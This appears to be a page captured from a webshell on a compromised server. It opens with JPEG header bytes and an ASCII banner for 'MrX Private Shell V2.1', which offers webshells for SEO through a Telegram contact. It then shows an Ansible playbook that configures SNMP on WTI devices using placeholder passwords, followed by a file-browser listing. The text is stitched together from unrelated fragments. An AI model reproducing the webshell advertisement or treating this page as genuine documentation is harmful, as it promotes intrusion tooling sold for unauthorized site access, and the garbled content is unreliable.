����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
# ansible-playbook ./snmp_config.yml -e ansible_hosts=nameofhost
- name: Set Network SNMP Parameters
hosts: "{{ansible_hosts}}" # pass as -e ansible_hosts=wti_demo on the commandline
collections:
- wti.remote
connection: local
gather_facts: False
tasks:
- set_fact: use_https=True
when: use_https is undefined
- set_fact: validate_certs=True
when: validate_certs is undefined
- name: run Set interface parameters
cpm_snmp_config:
cpm_url: "{{ansible_host}}"
cpm_username: "{{ansible_user}}"
cpm_password: "{{ansible_pw}}"
interface: "eth0"
protocol: 0
clear: 0
enable: 0
readonly: 0
version: 2
index:
- 2
- 4
username:
- "username1b"
- "username3a"
authpass:
- "xxxxx1abc"
- "authpass3a"
privpass:
- "privpass2a"
- "privpass3a"
authpriv:
- 1
- 0
authproto:
- 0
- 0
privproto:
- 0
- 0
use_https: "{{use_https}}"
validate_certs: "{{validate_certs}}"
register: testout
- name: dump test output
debug:
msg: "{{ testout['data'] }}"
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| snmp_config.yml | File | 1.2 KB | 0644 |
|
| snmp_info.yml | File | 860 B | 0644 |
|